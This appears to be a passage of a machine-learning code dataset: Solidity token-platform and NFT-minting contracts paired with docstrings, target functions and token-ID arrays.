_transferDirect(value, _symbol, txContext); _emitter().emitTransfer(txContext.from, addresses[idx], _symbol, value, ""); success++; } return (OK, success); } /// @dev Transfers asset balance between holders wallets. /// @param _value amount to transfer. /// @param _symbol asset symbol. function _transferDirect( uint _value, bytes32 _symbol, TransactionContext memory _txContext ) internal { set(store, assetWalletBalance, _symbol, _txContext.fromHolderId, _txContext.balanceFrom.sub(_value)); set(store, assetWalletBalance, _symbol, _txContext.toHolderId, _txContext.balanceTo.add(_value)); } /// @dev Transfers asset balance between holders wallets. /// Performs sanity checks and takes care of allowances adjustment. /// /// @param _value amount to transfer. /// @param _symbol asset symbol. /// @param _reference transfer comment to be included in a Transfer event. /// /// @return success. function _transfer( uint _value, bytes32 _symbol, string _reference, TransactionContext memory txContext ) internal returns (uint) { // Should not allow to send to oneself. if (txContext.fromHolderId == txContext.toHolderId) { return _emitErrorCode(CHRONOBANK_PLATFORM_CANNOT_APPLY_TO_ONESELF); } // Should have positive value. if (_value == 0) { return _emitErrorCode(CHRONOBANK_PLATFORM_INVALID_VALUE); } // Should have enough balance. txContext.balanceFrom = _balanceOf(txContext.fromHolderId, _symbol); txContext.balanceTo = _balanceOf(txContext.toHolderId, _symbol); if (txContext.balanceFrom < _value) { return _emitErrorCode(CHRONOBANK_PLATFORM_INSUFFICIENT_BALANCE); } // Should have enough allowance. txContext.allowanceValue = _allowance(txContext.fromHolderId, txContext.senderHolderId, _symbol); if (txContext.fromHolderId != txContext.senderHolderId && txContext.allowanceValue < _value ) { return _emitErrorCode(CHRONOBANK_PLATFORM_NOT_ENOUGH_ALLOWANCE); } _transferDirect(_value, _symbol, txContext); // Adjust allowance. _decrementWalletAllowance(_value, _symbol, txContext); // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: n/a after HF 4; // Recursive Call: safe, all changes already made. _emitter().emitTransfer(txContext.from, txContext.to, _symbol, _value, _reference); _proxyTransferEvent(_value, _symbol, txContext); return OK; } function _decrementWalletAllowance( uint _value, bytes32 _symbol, TransactionContext memory txContext ) private { if (txContext.fromHolderId != txContext.senderHolderId) { set(store, assetWalletAllowance, _symbol, txContext.fromHolderId, txContext.senderHolderId, txContext.allowanceValue.sub(_value)); } } /// @dev Transfers asset balance between holders wallets. /// Can only be called by asset proxy. /// /// @param _to holder address to give to. /// @param _value amount to transfer. /// @param _symbol asset symbol. /// @param _reference transfer comment to be included in a Transfer event. /// @param _sender transfer initiator address. /// /// @return success. function proxyTransferWithReference( address _to, uint _value, bytes32 _symbol, string _reference, address _sender ) public onlyProxy(_symbol) onlyAfterBlock(_symbol) returns (uint) { TransactionContext memory txContext; txContext.sender = _sender; txContext.to = _to; txContext.from = _sender; txContext.senderHolderId = getHolderId(_sender); txContext.toHolderId = _createHolderId(_to); txContext.fromHolderId = txContext.senderHolderId; return _transfer(_value, _symbol, _reference, txContext); } /// @dev Ask asset Proxy contract to emit ERC20 compliant Transfer event. /// @param _value amount to transfer. /// @param _symbol asset symbol. function _proxyTransferEvent(uint _value, bytes32 _symbol, TransactionContext memory txContext) internal { address _proxy = proxies(_symbol); if (_proxy != 0x0) { // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: n/a after HF 4; // Recursive Call: safe, all changes already made. ProxyEventsEmitter(_proxy).emitTransfer(txContext.from, txContext.to, _value); } } /// @notice Returns holder id for the specified address. /// @param _holder holder address. /// @return holder id. function getHolderId(address _holder) public view returns (uint) { return get(store, holderIndexStorage, _holder); } /// @dev Returns holder id for the specified address, creates it if needed. /// @param _holder holder address. /// @return holder id. function _createHolderId(address _holder) internal returns (uint) { uint _holderId = getHolderId(_holder); if (_holderId == 0) { _holderId = holdersCount() + 1; set(store, holderIndexStorage, _holder, _holderId); set(store, holdersAddressStorage, _holderId, _holder); set(store, holdersCountStorage, _holderId); } return _holderId; } function _assetOwner(bytes32 _symbol) internal view returns (uint) { return get(store, assetOwnerIdStorage, _symbol); } function stringToBytes32(string memory source) internal pure returns (bytes32 result) { assembly { result := mload(add(source, 32)) } } /// @notice Issues new asset token on the platform. /// /// Tokens issued with this call go straight to contract owner. /// Each symbol can be issued only once, and only by contract owner. /// /// @param _symbol asset symbol. /// @param _value amount of tokens to issue immediately. /// @param _name name of the asset. /// @param _description description for the asset. /// @param _baseUnit number of decimals. /// @param _isReissuable dynamic or fixed supply. /// @param _blockNumber block number from which asset can be used. /// /// @return success. function issueAsset( bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable, uint _blockNumber ) public returns (uint) { return issueAssetWithInitialReceiver(_symbol, _value, _name, _description, _baseUnit, _isReissuable, _blockNumber, msg.sender); } /// @notice Issues new asset token on the platform. /// /// Tokens issued with this call go straight to contract owner. /// Each symbol can be issued only once, and only by contract owner. /// /// @param _symbol asset symbol. /// @param _value amount of tokens to issue immediately. /// @param _name name of the asset. /// @param _description description for the asset. /// @param _baseUnit number of decimals. /// @param _isReissuable dynamic or fixed supply. /// @param _blockNumber block number from which asset can be used. /// @param _account address where issued balance will be held /// /// @return success. function issueAssetWithInitialReceiver( bytes32 _symbol, uint _value, string _name, string _description, uint8 _baseUnit, bool _isReissuable, uint _blockNumber, address _account ) public onlyOneOfContractOwners returns (uint) { // Should have positive value if supply is going to be fixed. if (_value == 0 && !_isReissuable) { return _emitErrorCode(CHRONOBANK_PLATFORM_CANNOT_ISSUE_FIXED_ASSET_WITH_INVALID_VALUE); } // Should not be issued yet. if (isCreated(_symbol)) { return _emitErrorCode(CHRONOBANK_PLATFORM_ASSET_ALREADY_ISSUED); } uint holderId = _createHolderId(_account); uint creatorId = _account == msg.sender ? holderId : _createHolderId(msg.sender); add(store, symbolsStorage, _symbol); set(store, assetOwnerIdStorage, _symbol, creatorId); set(store, assetTotalSupply, _symbol, _value); set(store, assetName, _symbol, _name); set(store, assetDescription, _symbol, _description); set(store, assetIsReissuable, _symbol, _isReissuable); set(store, assetBaseUnit, _symbol, _baseUnit); set(store, assetWalletBalance, _symbol, holderId, _value); set(store, assetBlockNumber, _symbol, _blockNumber); // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: n/a after HF 4; // Recursive Call: safe, all changes already made. _emitter().emitIssue(_symbol, _value, _address(holderId)); return OK; } /// @notice Issues additional asset tokens if the asset have dynamic supply. /// /// Tokens issued with this call go straight to asset owner. /// Can only be called by designated asset manager only. /// Inherits all modifiers from reissueAssetToRecepient' function. /// /// @param _symbol asset symbol. /// @param _value amount of additional tokens to issue. /// /// @return success. function reissueAsset(bytes32 _symbol, uint _value) public returns (uint) { return reissueAssetToRecepient(_symbol, _value, msg.sender); } /// @notice Issues additional asset tokens `_symbol` if the asset have dynamic supply /// and sends them to recepient address `_to`. /// /// Can only be called by designated asset manager only. /// /// @param _symbol asset symbol. /// @param _value amount of additional tokens to issue. /// @param _to recepient address; instead of caller issued amount will be sent to this address /// /// @return success. function reissueAssetToRecepient(bytes32 _symbol, uint _value, address _to) public onlyDesignatedManager(_symbol) onlyAfterBlock(_symbol) returns (uint) { return _reissueAsset(_symbol, _value, _to); } function _reissueAsset(bytes32 _symbol, uint _value, address _to) private returns (uint) { require(_to != 0x0, "CHRONOBANK_PLATFORM_INVALID_RECEPIENT_ADDRESS"); TransactionContext memory txContext; txContext.to = _to; // Should have positive value. if (_value == 0) { return _emitErrorCode(CHRONOBANK_PLATFORM_INVALID_VALUE); } // Should have dynamic supply. if (!isReissuable(_symbol)) { return _emitErrorCode(CHRONOBANK_PLATFORM_CANNOT_REISSUE_FIXED_ASSET); } uint _totalSupply = totalSupply(_symbol); // Resulting total supply should not overflow. if (_totalSupply + _value < _totalSupply) { return _emitErrorCode(CHRONOBANK_PLATFORM_SUPPLY_OVERFLOW); } txContext.toHolderId = _createHolderId(_to); txContext.balanceTo = _balanceOf(txContext.toHolderId, _symbol); set(store, assetWalletBalance, _symbol, txContext.toHolderId, txContext.balanceTo.add(_value)); set(store, assetTotalSupply, _symbol, _totalSupply.add(_value)); // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: n/a after HF 4; // Recursive Call: safe, all changes already made. _emitter().emitIssue(_symbol, _value, _to); _proxyTransferEvent(_value, _symbol, txContext); return OK; } /// @notice Destroys specified amount of senders asset tokens. /// /// @param _symbol asset symbol. /// @param _value amount of tokens to destroy. /// /// @return success. function revokeAsset(bytes32 _symbol, uint _value) public returns (uint _resultCode) { TransactionContext memory txContext; txContext.from = msg.sender; txContext.fromHolderId = getHolderId(txContext.from); _resultCode = _revokeAsset(_symbol, _value, txContext); if (_resultCode != OK) { return _emitErrorCode(_resultCode); } // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: n/a after HF 4; // Recursive Call: safe, all changes already made. _emitter().emitRevoke(_symbol, _value, txContext.from); _proxyTransferEvent(_value, _symbol, txContext); return OK; } /// @notice Destroys specified amount of senders asset tokens. /// /// @param _symbol asset symbol. /// @param _value amount of tokens to destroy. /// /// @return success. function revokeAssetWithExternalReference(bytes32 _symbol, uint _value, string _externalReference) public returns (uint _resultCode) { TransactionContext memory txContext; txContext.from = msg.sender; txContext.fromHolderId = getHolderId(txContext.from); _resultCode = _revokeAsset(_symbol, _value, txContext); if (_resultCode != OK) { return _emitErrorCode(_resultCode); } // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: n/a after HF 4; // Recursive Call: safe, all changes already made. _emitter().emitRevokeExternal(_symbol, _value, txContext.from, _externalReference); _proxyTransferEvent(_value, _symbol, txContext); return OK; } function _revokeAsset(bytes32 _symbol, uint _value, TransactionContext memory txContext) private returns (uint) { // Should have positive value. if (_value == 0) { return _emitErrorCode(CHRONOBANK_PLATFORM_INVALID_VALUE); } // Should have enough tokens. txContext.balanceFrom = _balanceOf(txContext.fromHolderId, _symbol); if (txContext.balanceFrom < _value) { return _emitErrorCode(CHRONOBANK_PLATFORM_NOT_ENOUGH_TOKENS); } txContext.balanceFrom = txContext.balanceFrom.sub(_value); set(store, assetWalletBalance, _symbol, txContext.fromHolderId, txContext.balanceFrom); set(store, assetTotalSupply, _symbol, totalSupply(_symbol).sub(_value)); return OK; } /// @notice Passes asset ownership to specified address. /// /// Only ownership is changed, balances are not touched. /// Can only be called by asset owner. /// /// @param _symbol asset symbol. /// @param _newOwner address to become a new owner. /// /// @return success. function changeOwnership(bytes32 _symbol, address _newOwner) public onlyOwner(_symbol) returns (uint) { if (_newOwner == 0x0) { return _emitErrorCode(CHRONOBANK_PLATFORM_INVALID_NEW_OWNER); } uint newOwnerId = _createHolderId(_newOwner); uint assetOwner = _assetOwner(_symbol); // Should pass ownership to another holder. if (assetOwner == newOwnerId) { return _emitErrorCode(CHRONOBANK_PLATFORM_CANNOT_APPLY_TO_ONESELF); } address oldOwner = _address(assetOwner); set(store, assetOwnerIdStorage, _symbol, newOwnerId); // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: n/a after HF 4; // Recursive Call: safe, all changes already made. _emitter().emitOwnershipChange(oldOwner, _newOwner, _symbol); return OK; } /// @notice Check if specified holder trusts an address with recovery procedure. /// @param _from truster. /// @param _to trustee. /// @return trust existance. function isTrusted(address _from, address _to) public view returns (bool) { return get(store, holdersTrustStorage, getHolderId(_from), _to); } /// @notice Trust an address to perform recovery procedure for the caller. /// @param _to trustee. /// @return success. function trust(address _to) public returns (uint) { uint fromId = _createHolderId(msg.sender); // Should trust to another address. if (fromId == getHolderId(_to)) { return _emitErrorCode(CHRONOBANK_PLATFORM_CANNOT_APPLY_TO_ONESELF); } // Should trust to yet untrusted. if (isTrusted(msg.sender, _to)) { return _emitErrorCode(CHRONOBANK_PLATFORM_ALREADY_TRUSTED); } set(store, holdersTrustStorage, fromId, _to, true); return OK; } /// @notice Revoke trust to perform recovery procedure from an address. /// @param _to trustee. /// @return success. function distrust(address _to) public checkTrust(msg.sender, _to) returns (uint) { set(store, holdersTrustStorage, getHolderId(msg.sender), _to, false); return OK; } /// @notice Perform recovery procedure. /// /// This function logic is actually more of an addAccess(uint _holderId, address _to). /// It grants another address access to recovery subject wallets. /// Can only be called by trustee of recovery subject. /// /// @param _from holder address to recover from. /// @param _to address to grant access to. /// /// @return success. function recover(address _from, address _to) public checkTrust(_from, msg.sender) returns (uint errorCode) { // Should recover to previously unused address. if (getHolderId(_to) != 0) { return _emitErrorCode(CHRONOBANK_PLATFORM_SHOULD_RECOVER_TO_NEW_ADDRESS); } // We take current holder address because it might not equal _from. // It is possible to recover from any old holder address, but event should have the current one. uint _fromHolderId = getHolderId(_from); address _fromRef = _address(_fromHolderId); set(store, holdersAddressStorage, _fromHolderId, _to); set(store, holderIndexStorage, _to, _fromHolderId); // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: revert this transaction too; // Recursive Call: safe, all changes already made. _emitter().emitRecovery(_fromRef, _to, msg.sender); return OK; } /// @dev Sets asset spending allowance for a specified spender. /// /// Note: to revoke allowance, one needs to set allowance to 0. /// /// @param _value amount to allow. /// @param _symbol asset symbol. /// /// @return success. function _approve( uint _value, bytes32 _symbol, TransactionContext memory txContext ) internal returns (uint) { // Asset should exist. if (!isCreated(_symbol)) { return _emitErrorCode(CHRONOBANK_PLATFORM_ASSET_IS_NOT_ISSUED); } // Should allow to another holder. if (txContext.fromHolderId == txContext.senderHolderId) { return _emitErrorCode(CHRONOBANK_PLATFORM_CANNOT_APPLY_TO_ONESELF); } // Double Spend Attack checkpoint txContext.allowanceValue = _allowance(txContext.fromHolderId, txContext.senderHolderId, _symbol); if (!(txContext.allowanceValue == 0 || _value == 0)) { return _emitErrorCode(CHRONOBANK_PLATFORM_INVALID_INVOCATION); } set(store, assetWalletAllowance, _symbol, txContext.fromHolderId, txContext.senderHolderId, _value); // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: revert this transaction too; // Recursive Call: safe, all changes already made. _emitter().emitApprove(txContext.from, txContext.sender, _symbol, _value); address _proxy = proxies(_symbol); if (_proxy != 0x0) { // Internal Out Of Gas/Throw: revert this transaction too; // Call Stack Depth Limit reached: n/a after HF 4; // Recursive Call: safe, all changes already made. ProxyEventsEmitter(_proxy).emitApprove(txContext.from, txContext.sender, _value); } return OK; } /// @dev Sets asset spending allowance for a specified spender. /// /// Can only be called by asset proxy. /// /// @param _spender holder address to set allowance to. /// @param _value amount to allow. /// @param _symbol asset symbol. /// @param _sender approve initiator address. /// /// @return success. function proxyApprove( address _spender, uint _value, bytes32 _symbol, address _sender ) public onlyProxy(_symbol) returns (uint) { TransactionContext memory txContext; txContext.sender = _spender; txContext.senderHolderId = _createHolderId(_spender); txContext.from = _sender; txContext.fromHolderId = _createHolderId(_sender); return _approve(_value, _symbol, txContext); } /// @notice Performs allowance transfer of asset balance between holders wallets. /// /// @dev Can only be called by asset proxy. /// /// @param _from holder address to take from. /// @param _to holder address to give to. /// @param _value amount to transfer. /// @param _symbol asset symbol. /// @param _reference transfer comment to be included in a Transfer event. /// @param _sender allowance transfer initiator address. /// /// @return success. function proxyTransferFromWithReference( address _from, address _to, uint _value, bytes32 _symbol, string _reference, address _sender ) public onlyProxy(_symbol) onlyAfterBlock(_symbol) returns (uint) { TransactionContext memory txContext; txContext.sender = _sender; txContext.to = _to; txContext.from = _from; txContext.toHolderId = _createHolderId(_to); txContext.fromHolderId = getHolderId(_from); txContext.senderHolderId = _to == _sender ? txContext.toHolderId : getHolderId(_sender); return _transfer(_value, _symbol, _reference, txContext); } /// @dev Returns asset allowance from one holder to another. /// @param _from holder that allowed spending. /// @param _spender holder that is allowed to spend. /// @param _symbol asset symbol. /// @return holder to spender allowance. function allowance(address _from, address _spender, bytes32 _symbol) public view returns (uint) { return _allowance(getHolderId(_from), getHolderId(_spender), _symbol); } /// @dev Returns asset allowance from one holder to another. /// @param _fromId holder id that allowed spending. /// @param _toId holder id that is allowed to spend. /// @param _symbol asset symbol. /// @return holder to spender allowance. function _allowance(uint _fromId, uint _toId, bytes32 _symbol) internal view returns (uint) { return get(store, assetWalletAllowance, _symbol, _fromId, _toId); } function _emitter() private view returns (ChronoBankPlatformEmitter) { return ChronoBankPlatformEmitter(getEventsHistory()); } } // File: contracts/EtherTokenExchange.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.21; contract ChronoBankAssetProxyInterface is ChronoBankAssetProxy {} contract EtherTokenExchange { uint constant OK = 1; event LogEtherDeposited(address indexed sender, uint amount); event LogEtherWithdrawn(address indexed sender, uint amount); ERC20Interface private token; uint private reentrancyFallbackGuard = 1; constructor(address _token) public { token = ERC20Interface(_token); } function getToken() public view returns (address) { return token; } function deposit() external payable { _deposit(msg.sender, msg.value); } function withdraw(uint _amount) external { require(token.allowance(msg.sender, address(this)) >= _amount, "ETHER_TOKEN_EXCHANGE_NO_APPROVE_PROVIDED"); uint _guardState = reentrancyFallbackGuard; require(token.transferFrom(msg.sender, address(this), _amount), "ETHER_TOKEN_EXCHANGE_TRANSFER_FROM_FAILED"); if (reentrancyFallbackGuard == _guardState) { _withdraw(msg.sender, _amount); } } function tokenFallback(address _from, uint _value, bytes) external { _incrementGuard(); if (msg.sender == address(token)) { _withdraw(_from, _value); return; } ChronoBankAssetProxyInterface _proxy = ChronoBankAssetProxyInterface(address(token)); address _versionFor = _proxy.getVersionFor(_from); if (!(msg.sender == _versionFor || ChronoBankAssetUtils.containsAssetInChain(ChronoBankAssetChainableInterface(_versionFor), msg.sender)) ) { revert("ETHER_TOKEN_EXCHANGE_INVALID_TOKEN"); } _withdraw(_from, _value); } function () external payable { revert("ETHER_TOKEN_EXCHANGE_USE_DEPOSIT_INSTEAD"); } /* PRIVATE */ function _deposit(address _to, uint _amount) private { require(_amount > 0, "ETHER_TOKEN_EXCHANGE_INVALID_AMOUNT"); ChronoBankAssetProxyInterface _token = ChronoBankAssetProxyInterface(token); ChronoBankPlatform _platform = ChronoBankPlatform(_token.chronoBankPlatform()); require(OK == _platform.reissueAsset(_token.smbl(), _amount), "ETHER_TOKEN_EXCHANGE_ISSUE_FAILURE"); require(_token.transfer(_to, _amount), "ETHER_TOKEN_EXCHANGE_TRANSFER_FAILURE"); emit LogEtherDeposited(_to, _amount); } function _withdraw(address _from, uint _amount) private { require(_amount > 0, "ETHER_TOKEN_EXCHANGE_INVALID_AMOUNT"); ChronoBankAssetProxyInterface _token = ChronoBankAssetProxyInterface(token); ChronoBankPlatform _platform = ChronoBankPlatform(_token.chronoBankPlatform()); require(OK == _platform.revokeAsset(_token.smbl(), _amount), "ETHER_TOKEN_EXCHANGE_REVOKE_FAILURE"); _from.transfer(_amount); emit LogEtherWithdrawn(_from, _amount); } function _incrementGuard() public { reentrancyFallbackGuard += 1; } }
@notice Returns current address for a particular holder id. @param _holderId holder id. @return holder address.
function _address(uint _holderId) public view returns (address) { return get(store, holdersAddressStorage, _holderId); }
1,049,023
[ 1, 1356, 783, 1758, 364, 279, 6826, 10438, 612, 18, 225, 389, 4505, 548, 10438, 612, 18, 327, 10438, 1758, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 2867, 12, 11890, 389, 4505, 548, 13, 1071, 1476, 1135, 261, 2867, 13, 288, 203, 3639, 327, 336, 12, 2233, 16, 366, 4665, 1887, 3245, 16, 389, 4505, 548, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0x7dE80A29a5Dd7E86D1130B7BA5E66d2947141C34/sources/SingleNftDao.sol
check if NFT was just sold
function _maxBurn(address _member) internal override returns (uint256) { if (state == State.HOLDING && address(this).balance > 0 && !_daoIsOwner()) { state = State.SOLD; tokenRate = address(this).balance / totalSupply(); } return this.balanceOf(_member); }
726,212
[ 1, 1893, 309, 423, 4464, 1703, 2537, 272, 1673, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 1896, 38, 321, 12, 2867, 389, 5990, 13, 2713, 3849, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 309, 261, 2019, 422, 3287, 18, 44, 11846, 1360, 597, 1758, 12, 2211, 2934, 12296, 405, 374, 597, 401, 67, 2414, 83, 2520, 5541, 10756, 288, 203, 5411, 919, 273, 3287, 18, 55, 11846, 31, 203, 5411, 1147, 4727, 273, 1758, 12, 2211, 2934, 12296, 342, 2078, 3088, 1283, 5621, 203, 3639, 289, 203, 203, 3639, 327, 333, 18, 12296, 951, 24899, 5990, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT // /* * * || .-:'"-._ * | | _(, ) * | | ,'O"( )> * | | `-.-( ) * || `-._._.-' * // // * * ASTERIA LABS: * @Danny_One_ * */ import "./ERC721_efficient.sol"; pragma solidity ^0.8.0; interface ILambDuh { function balanceOf(address sender) external view returns (uint256); } contract LambDuhsPX is ERC721Enumerable, Ownable, nonReentrant { uint256 public pxPS_Price = 50000000000000000; // 0.050 ETH uint256 public pxLambPrice = 55000000000000000; // 0.055 ETH uint256 public constant maxPxLambPurchase = 10; uint256 public immutable MAX_PXLAMB = 8500; // 8.5k supply uint256 public immutable MAX_PRESALE = 6150; // total presale lambs allowed //Reserve PX Lamb for team - Giveaways/Prizes etc uint256 public immutable MAX_PXLAMBRESERVE = 100; // total team reserves allowed uint256 public immutable MAX_PXPORTALS = 1500; // total portal lambs allowed uint256 public immutable MAX_FREECLAIM = 20; // total free lambs allowed address public tokenDeposit = 0x2a6f3F959eb2cb0982B2dB5D4Cb2aEFb8B3cd4a3; // address to receive custom ERC20 string public PXprovenance; uint256 public maxSaleMint = 10; uint256 public teamMints = 0; enum SaleState { Paused, Presale, Phase2, Open } SaleState public saleState; bytes32 public MerkleRoot = 0x88e10a1c8b916fcfde160f7ab84e06107f52e258421fc3bf0b7f4d3a3e22c0b1; ILambDuh public LambContract = ILambDuh(0x1F0f72e6Dc2EA6FDe3A32A1B3fD47A26a3293Dc9); struct TPToken { uint64 MAX_TOKEN; uint64 tokenSupply; uint128 Cost; IERC20 Contract; } enum TokenName { BAMBOO, PIXL, ROOLAH, SEED, STAR, LAMEX, SPIT, ETH } mapping(TokenName => TPToken) public mintableTokens; address public proxyRegistryAddress; struct AddressInfo { uint64 ownerFreeClaims; uint64 ownerPresaleMints; bool[7] tokenMinted; bool projectProxy; } mapping(address => AddressInfo) public addressInfo; uint16[] public portalsIDs; constructor() ERC721("Lamb Duhs PX", "LDPX") {} // PUBLIC FUNCTIONS function mint(uint256 _mintAmount) public payable reentryLock { require(saleState > SaleState.Phase2, "public sale is not active"); require(msg.sender == tx.origin, "no proxy transactions"); uint256 supply = totalSupply(); require(_mintAmount < maxSaleMint + 1, "max transaction exceeded"); require(supply + _mintAmount < MAX_PXLAMB + 1, "max supply exceeded"); require(msg.value >= _mintAmount * pxLambPrice, "not enough ETH sent"); for (uint256 i = 0; i < _mintAmount; i++) { _safeMint(msg.sender, supply + i); } } function mintPresale( bytes32[] memory _proof, bytes2 _maxAmountKey, uint256 _mintAmount, TokenName _tokenName ) public payable reentryLock { require( MerkleRoot > 0x00 && saleState > SaleState.Paused, "presale period not open!" ); uint256 supply = totalSupply(); require(supply + _mintAmount < MAX_PXLAMB + 1, "max supply exceeded"); require( MerkleProof.verify( _proof, MerkleRoot, keccak256(abi.encodePacked(msg.sender, _maxAmountKey)) ), "invalid proof-key combo" ); uint8 allowed = uint8(uint16(_maxAmountKey)); if (_tokenName == TokenName.ETH) { require(saleState < SaleState.Open, "presale closed!"); require( msg.value >= _mintAmount * pxPS_Price, "not enough ETH sent" ); require( mintableTokens[_tokenName].tokenSupply + _mintAmount < MAX_PRESALE + 1, "presale sold out" ); if (saleState == SaleState.Presale) { require( addressInfo[msg.sender].ownerPresaleMints + _mintAmount < allowed + 1, "max presale claims exceeded" ); } else if (saleState == SaleState.Phase2) { require( addressInfo[msg.sender].ownerPresaleMints + _mintAmount < 2 * allowed + 1, "max phase 2 claims exceeded" ); } mintableTokens[_tokenName].tokenSupply += uint64(_mintAmount); addressInfo[msg.sender].ownerPresaleMints += uint64(_mintAmount); } else { // LAMEX, SPIT require(_tokenName > TokenName.STAR, "invalid token"); require(_mintAmount < 2, "only 1 allowed"); require( 